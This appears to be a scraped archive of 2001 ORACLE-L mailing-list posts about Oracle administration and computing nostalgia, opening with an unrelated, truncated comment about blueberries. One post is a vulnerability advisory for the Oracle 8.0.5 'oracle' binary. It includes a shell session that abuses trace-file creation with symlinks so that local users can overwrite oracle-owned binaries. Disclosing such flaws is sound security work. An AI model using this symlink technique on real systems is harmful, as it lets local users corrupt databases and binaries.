wild blueberries in Nova Scotia are just as sweet if not sweeter than the store bought ones. Where in a reputable peer-reviewed journal can one find an article store bought food is less nutritious than wild food. The purpose of fruit is to be eaten, the seeds passing through the digestive system intact to be planted with a little fertilizer. The sweeter the fruit, the more animals are attracted, the greater chance of the plant dispersing its progeny. As far as I can tell taste takes a second seat to looks with commercial produce. Produce is
vulnerability in oracle binary in Oracle 8.0.5 - 8.1.6
WWW.PLAZASITE.COM System Security Division Title: Vulnerability in oracle binary in Oracle 8.0.5 Date: 11-12-2000 Platform: Only tested in Linux, but can be exported to others. Impact: Any user compromise any file owned by oracle (DDBB owner). Author: Juan Manuel Pascual ([EMAIL PROTECTED]) Status: Vendor Contacted at 18th July 2001 PROBLEM SUMMARY: There is a write permision checking error in oracle binary that can be used by local users to write any file owned by oracle. IMPACT: Any user with local access, can corrupt the database. Overwrite oracle binaries, etc. SOLUTION: Chmod -s ;-. STATUS: Vendor was contacted . This vulnerability was researched by: Juan Manuel Pascual Escriba[EMAIL PROTECTED] Only for educational purposes. (corrupt a ddbb isnt an educational purpose!) [pask@proves1 /tmp]$ [pask@proves1 /tmp]$ mkdir rdbms [pask@proves1 /tmp]$ cd rdbms/ [pask@proves1 rdbms]$ mkdir log [pask@proves1 rdbms]$ cd log [pask@proves1 log]$ [pask@proves1 log]$ ls -alc total 8 drwxrwxr-x2 pask pask 4096 dic 14 02:33 . drwxrwxr-x3 pask pask 4096 dic 14 02:33 .. [pask@proves1 log]$ export ORACLE_HOME=/tmp [pask@proves1 log]$ export REAL_ORACLE_HOME=/usr/local/oracle/app/oracle/product/8.0.5 [pask@proves1 log]$ $REAL_ORACLE_HOME/bin/oracle [pask@proves1 log]$ ls -alc total 12 drwxrwxr-x2 pask pask 4096 dic 14 02:35 . drwxrwxr-x3 pask pask 4096 dic 14 02:33 .. -rw-r-1 oracle pask 47 dic 14 02:35 ora_24028.trc Ups a log owned by oracle with the structure ora_pid.trc I can create: [pask@proves1 log]$ ln -s $REAL_ORACLE_HOME/bin/lsnrctl ./ora_24050.trc pask@proves1 log]$ $REAL_ORACLE_HOME/bin/oracle pask@proves1 log]$ $REAL_ORACLE_HOME/bin/oracle pask@proves1 log]$ $REAL_ORACLE_HOME/bin/oracle pask@proves1 log]$ $REAL_ORACLE_HOME/bin/oracle . .. ... until the log will be my link .. and i overwrite the binary. what about dbf files and go on
RE: OT -- suggestions to ensure nerdiness in potential IT staff
1981, I was a junior in college. Oh what I would give to have a couple of weeks like I had then. I think I skipped as many classes as I went to. I had my first computer class the year before, there was nothing like punch card technology. Just for fun we would get into someones stack and rearrange the cards. Dave -Original Message- Sent: Wednesday, August 01, 2001 4:39 PM To: Multiple recipients of list ORACLE-L staff I guess I can no longer call myself an IT Professional as I cannot answer most of those questions. and in 1981 I was divorcing my first husband From: Boivin, Patrice J [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Subject: OT -- suggestions to ensure nerdiness in potential IT staff Date: Wed, 01 Aug 2001 12:23:09 -0800 Perhaps, to be an IT Professional, one should have a bit of background in the field. e.g. one should know what Heathkit was (not that A+ stuff) , and the Sinclair, not to mention a few other things: What famous character was used to first advertise the IBM PC? Was it possible to connect two screens to the original IBM PC? How? How many boot disks did computers require before 1982? How would you convert a 1-sided 5 ¼ diskette into a 2-sided one? How did the Commodore Pet make use of hard disk drives? Floppy drives? What colour were the Verbatim 5 ¼ diskette pockets? What IBM PS/2 model was listed as having a 2.88M diskette drive? What version of Windows did OS/2 not support? Why not? Did the first macintosh computer come with a handle? What is an MWave Windsurfer card? Which company could be argued started the certification fad in IT? Bonus points: What figurines appear on PC Magazine Vol 1., Issue 1's cover? (I notice PC Magazine has gone back to the thickness it had for issue 1, vol 1... heh heh I wonder what happened). Extremely important entertainment bonus question: What cartridges came with the Atari 2600 game system upon initial purchase? But I am dating myself. Most of these have to do with PCs, forgive me I was in grade 11 in 1981. Here another training school closed last year, GP - used to be SHL Learning Technologies, but they slowly died. The instructors were good, but management... well GP no longer exists. Hopefully the good training companies will survive. Regards, Patrice Boivin Systems Analyst (Oracle Certified DBA) -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Boivin, Patrice J INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). _ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Rachel Carmichael INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Farnsworth, Dave INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: JMS vrs AQ
Hello Christopher, How many queues do you have on how many disks ? We have 10 queues on 10 disks E4500 also. Regards Henrik --- Experience is a hard teacher because she gives the test first, the lesson afterward. -- Vernon Law Henrik Ekenberg Anoto AB Direct+46 (0)8 410 78 577 Vasagatan 7 Mobile+46 (0)733 478 577 111 20 Stockholm, Sweden www.anoto.com Switchb. +46 (0)8 410 78 500 E-mail :[EMAIL PROTECTED] Fax +46 (0)8 410 78 501 On Tue, 31 Jul 2001, Christopher Spence wrote: -!-Using JMS on E450 on Solaris we are lucky to do 4/s without having problems. -!- -!-300/s would be great. -!- -!- -!-Walking on water and developing software from a specification are easy if -!-both are frozen. -!- -!-Christopher R. Spence -!-Oracle DBA -!-Fuelspot -!- -!- -!- -!--Original Message- -!-[mailto:[EMAIL PROTECTED]] -!-Sent: Tuesday, July 31, 2001 4:00 AM -!-To: Multiple recipients of list ORACLE-L -!- -!- -!-Hello, -!- -!-Which performance do you need ? -!-We have really bad performance with AQ (300 req/s) or JMS from Oracle. We -!-will use a JMS driver from an other company. -!- -!-Regards -!-Henrik -!- -! -!-Experience is a hard teacher because she gives the test first, the lesson -!-afterward. -!- -!--- Vernon Law -!- -!-Henrik Ekenberg Anoto AB -!-Direct+46 (0)8 410 78 577 Vasagatan 7 -!-Mobile+46 (0)733 478 577 111 20 Stockholm, Sweden -!-www.anoto.com Switchb. +46 (0)8 410 78 500 -!-E-mail :[EMAIL PROTECTED] Fax +46 (0)8 410 78 501 -!- -!- -!-On Mon, 30 Jul 2001, Christopher Spence wrote: -!- -!--!-I was wondering if anyone has compared performance of JMS and AQ, used -!--!-both, or know of some good documents. -!--!- -!--!-We currently use JMS, which I have never been a fan off, I am not much -!--!-of an AQ person. -!--!- -!--!-Any feedback would be great, I think I am going to setup some benchmarks -!--!-with AQ and JMS. -!-We use very small amount of JMS right in database, -!-and most of our JMS -!-is via separate JMS file systems. -!--!- -!--!- -!--!-Walking on water and developing software from a specification are easy -!--!-if both are frozen. -!--!- -!--!-Christopher R. Spence OCP MCSE MCP A+ RAPTOR CNA -!--!-Oracle DBA -!--!-Phone: (978) 322-5744 -!--!-Fax:(707) 885-2275 -!--!- -!--!-Fuelspot -!--!-73 Princeton Street -!--!-North, Chelmsford 01863 -!--!- -!--!- -!--!- -!--!- -!- -!--- -!-Please see the official ORACLE-L FAQ: http://www.orafaq.com -!--- -!-Author: Henrik Ekenber -!- INET: [EMAIL PROTECTED] [EMAIL PROTECTED] -!- -!-Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 -!-San Diego, California-- Public Internet access / Mailing Lists -!- -!-To REMOVE yourself from this mailing list, send an E-Mail message -!-to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the -!-message BODY, include a line containing: UNSUB ORACLE-L (or the name of -!-mailing list you want to be removed from). You may also send the HELP -!-command for other information (like subscribing). -!--- -!-Please see the official ORACLE-L FAQ: http://www.orafaq.com -!--- -!-Author: Christopher Spence -!- INET: [EMAIL PROTECTED] -!- -!-Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 -!-San Diego, California-- Public Internet access / Mailing Lists -!- -!-To REMOVE yourself from this mailing list, send an E-Mail message -!-to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in -!-the message BODY, include a line containing: UNSUB ORACLE-L -!-(or the name of mailing list you want to be removed from). You may -!-also send the HELP command for other information (like subscribing). -!- -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Henrik Ekenber INET: [EMAIL PROTECTED] [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT RE: Dangerous AIX Bug - Gene's afraid of RMAN
Lisa - I don't think there is enough beer for me to trust RMAN to do incremental backups :-). I just need sleep, puppies are a lot of work, but worth it! Koivu, Lisa [EMAIL PROTECTED] 07/30/01 08:19AM Gene, just do it. Incremental backups in rman are going to help you backup a 1tb database. Promise. Just try it, you'll like it. If not I'll owe you a bunch of beer. Lisa -Original Message- From: Gene Sais [SMTP:[EMAIL PROTECTED]] Sent: Friday, July 27, 2001 11:11 AM To: Multiple recipients of list ORACLE-L Subject: OT RE: Dangerous AIX Bug! Yeah, I had to drop off the informix list for the AIX list. Good choice I think. Actually this post might be a good one for the AIX'ers. Seems like a lot of ppl are switching to AIX, h, maybe buy some IBM stock :). I just wish I had an EMC sym rather than this shark stuck in Raid-5. I need BCV's to back up a 1TB db. Not sure if the shark flashcopy will do the trick. Anyone on this list use flashcopy? Gene [EMAIL PROTECTED] 07/26/01 06:51PM Gene, you're a busy man. Just saw you on the AIX list. I'll lurk there for a while before creating havoc. ;-) thanks -Original Message- Sent: Thursday, July 26, 2001 6:39 PM To: Multiple recipients of list ORACLE-L Nice link. Thanks! [EMAIL PROTECTED] 07/26/01 05:51PM Ross, Check this link. You may find it useful. http://home.earthlink.net/~bhami/rosetta.html Regards, Denny Mohan, Ross wrote: :) My biggest concern is porting db's from other unix flavors...i wish there were a cross platfrom shell porting guide. Sure, ls is ls, but every mfgr changes the order/formatting of the flags and/or output. I am compiling responses and will post a summary. I have some good stuff so far hth Ross p.s. I wish i could get some (mostly) grass fed beef! ;-) _ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Denny Koovakattu INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Gene Sais INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Mohan, Ross INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Gene Sais INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Gene Sais INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists
RE: OT -- suggestions to ensure nerdiness in potential IT staff
On Thu, 2 Aug 2001,Rachel Carmichael scribbled on the wall in glitter crayon: -we called that 52 card pickup -- take deck, throw in air, run like the devil -was after us. - -I learned EARLY to draw intricate designs on the top of the deck so as to -make putting it back together simpler. - -When projects were due, I'd cut every class but the computer ones, and stay -in the computer center until midnight,when they closed. Oh the good old -days! i was one of those geeks who could put object decks back in order by hand.;-) i still have several boxes of card decks. the kids like them for bookmarks. -- Bill Thater ORACLE DBA Telergy,Inc. [EMAIL PROTECTED] It's got to come from the heart if you want it to work! If the automobile had followed the same development cycle as the computer, a Rolls-Royce would today cost $100, get a million miles per gallon, and explode once a year, killing everyone inside. - Robert X. Cringely -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Thater, William INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: off topic--oracle Vs ms sql
Good observation. I honestly don't know. I have used the site from time to time in the past to get a general idea of the differences but would always go to a db's site to get more definitive answers. On Wed, 01 Aug 2001 08:00:56 -0800 Page, Bruce [EMAIL PROTECTED] wrote: Interesting site... Since I am not familiar with some of the other databases, are all the ones listed there 3 versions old or just Oracle? I noticed DB2 was 2 versions old. __ Dwayne Cox DBA, Development Dept. Info Tech, Inc. [EMAIL PROTECTED] http://www.infotechfl.com ___ The opinions expressed are the author's own unless otherwise stated -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Dwayne Cox INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT -- suggestions to ensure nerdiness in potential IT staff
How many licks does it take to get to the center of a Tootsie Pop! -Original Message- Brian Sent: Thursday, August 02, 2001 10:15 AM To: Multiple recipients of list ORACLE-L I remember a turtle, BUT he spoke to Mr. Owl, and the answer was 3. For those not in the US, it's from an old TV commercial. I started playing on Commodore-64's in high school in 1982. I've still got some of those Verbatim 5.25 disks in the closet at home. What is the language that uses a turtle for teaching children about computers? What language was it based on? -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Anderson, Brian INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Seeking SQL*Reportwriter 1.0 antiques
Chris, I had the old 5.1c DOS disks until a couple of years ago -- saw no more use for them. And as recently as 3 or 4 years ago, I had to modify an rpt/rpf report on an old app running against V6. In addition to using rpt/rpf, the original developer used Forms 3.0 but continued to use V2 style triggers. But, the app continued to work well for long after he left and the users were satisfied, so, no complaining here. Regards, Larry G. Elkins [EMAIL PROTECTED] -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]On Behalf Of paquette stephane Sent: Thursday, August 02, 2001 10:11 AM To: Multiple recipients of list ORACLE-L Subject: Re: Seeking SQL*Reportwriter 1.0 antiques Sorry I just have rpt/rpf (joking !) --- [EMAIL PROTECTED] a écrit : A client of mine is moving off some ancient hardware (with ancient software) and needs for the short term to run SQL*Reportwriter 1.0 for DOS, then convert those files to version 1.1 of the same. If anybody is an antique collector and still has either the install disks or runtime of these programs I would be very grateful if you could give me a copy. They are licensed, so copying is not a problem. Regards, Chris Gait -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Larry Elkins INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT -- suggestions to ensure nerdiness in potential IT staff
Ain't that the truth. I was in charge of maintaining them (I use the term very loosely) when I was in college and those drives were the flakiest things. Used to drive me nuts. The joys of running word star on CP/M... and thinking I was in heaven when I moved to wordperfect. Still think wordperfect was the best DOS wordprocessor on the market. --- Page, Bruce [EMAIL PROTECTED] wrote: And the DEC rainbow shipped with both DOS and CP/M. Nasty little thing. I built a billing system for a telephone company on them using Dbase II. We had to keep 10 sets of backs. We each had our own and then on was left with the system. We kept 10 because we would sometimes go through a lot of them before we could get a good restore. We swore they had a built in fry disk at random command. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Page, Bruce INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). __ Do You Yahoo!? Make international calls for as low as $.04/minute with Yahoo! Messenger http://phonecard.yahoo.com/ -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: A. Bardeen INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: Exploding the Myths paper
Hey Rachel, long time, no chat Hope things worked out well for you and whoever at IOUG (the gossip in me always want to know more ;-) Would have sat next to you in Anita's presentation but you sat in the FRONT row, and I was late :-( I also had to find Peter Smith as I had a problem with my air reservation and it looked like he might need to drive me and miss the closing session (I was able to get a shuttle). This paper sounded really intriuging and I wanted to check it out. I looked under www.nyoug.org but could not find it under Presentations From Various Allstars. Great user site by the way! (I think you are involved on the executive right?) I take it your meetings are quarterly ? Would love to present some time but cannot afford the travel to New York :-( . that I am Waaay too busy with my job doing remote DBA work ... I barely have time to even read the list serves, let along respond to any of them I am only 10 months behind ... Take care Babette [EMAIL PROTECTED] (best one to use) or [EMAIL PROTECTED] - Original Message - To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Sent: Sunday, July 01, 2001 8:15 PM Okay, I've been told that the paper and slides for my presentation Exploding the Myths is now up on the NYOUG site www.nyoug.org Rachel _ Get your FREE download of MSN Explorer at http://explorer.msn.com -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Rachel Carmichael INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Babette Turner-Underwood INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Test message
Ignore this message. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Arich Henneman INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Convert LONG to VARCHAR2
Hi All, I know it has been discussed before but can anyone tell me how to convert a LONG datatype to VARCHAR2? Thanks Rick -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Cale, Rick T (Richard) INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Logical bit operators
Hi gurus, I'm so sorry for placing so stupid question in this forum, but how is the syntax to use logical bit operator (like or | in C lang.) in SQL or PL/SQL? Or there is another philosophy how to do it? Thanks Jan Pruner -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Jan Pruner INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
9i
Uhhh...I thought that 9i wasn't going to be using rollback segments anymore? Am I wrong, was this alcohol induced dream or something like that? Sincerely, Kevin Kostyszyn DBA Dulcian, Inc www.dulcian.com [EMAIL PROTECTED] -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: OT -- suggestions to ensure nerdiness in potential IT staff
Peabody. Professor Peabody. A long-eared, white dog. Who taught History to Sherman. Terry Rachel Carmichael wrote: Okay, who remembers Fractured Fairy Tales and the Professor and his boy Sherman? -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Terry Ball INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT -- suggestions to ensure nerdiness in potential IT staff
And the DEC rainbow shipped with both DOS and CP/M. Nasty little thing. I built a billing system for a telephone company on them using Dbase II. We had to keep 10 sets of backs. We each had our own and then on was left with the system. We kept 10 because we would sometimes go through a lot of them before we could get a good restore. We swore they had a built in fry disk at random command. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Page, Bruce INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: Wite paper link?
Thanks. On 01 Aug 2001 14:30:40 -0800, Suzy Vordos wrote: http://www.quest.com/whitepapers/index.asp Rodd Holman wrote: Does anyone know of a link to Gaja's wite paper on tuning that he presented at OOW 2000? I'm running into some fun tuning thins and I can't seem to find my notes from the session. TIA Rodd Holman [EMAIL PROTECTED] -- Author: Suzy Vordos INET: [EMAIL PROTECTED] -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Rodd Holman INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: OT -- suggestions to ensure nerdiness in potential IT staff
The Cult of the Goddess does not take divine abandonment lightly... --Scott Shafer, High Priest San Antonio, TX Rachel Carmichael wrote: that settles it, I'm quietly packing up my desk and leaving the list. I don't belong here. I vaguely remember working with some of this stuff but not all. I either: 1)never had a memory for anything 2)was sleepwalking through most of my life 3)am not and was not a nerd 4)all of the above I think I'll lurk for awhile _ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Scott Shafer INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: OT -- suggestions to ensure nerdiness in potential IT staff
According to Mr Owl, the answer is 3. Rachel Carmichael wrote: one (ker-runch!) From: Page, Bruce [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Subject: RE: OT -- suggestions to ensure nerdiness in potential IT staff Date: Thu, 02 Aug 2001 07:27:16 -0800 And the question (still yet to be properly answered) is How many licks does it take to get to the center of a Tootsie Pop? I remember a turtle, BUT he spoke to Mr. Owl, and the answer was 3. _ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Scott Shafer INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Test message
Too late. -Original Message- Sent: Thursday, August 02, 2001 12:47 PM To: Multiple recipients of list ORACLE-L Ignore this message. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Arich Henneman INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Mohan, Ross INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
Re: OT -- suggestions to ensure nerdiness in potential IT staff
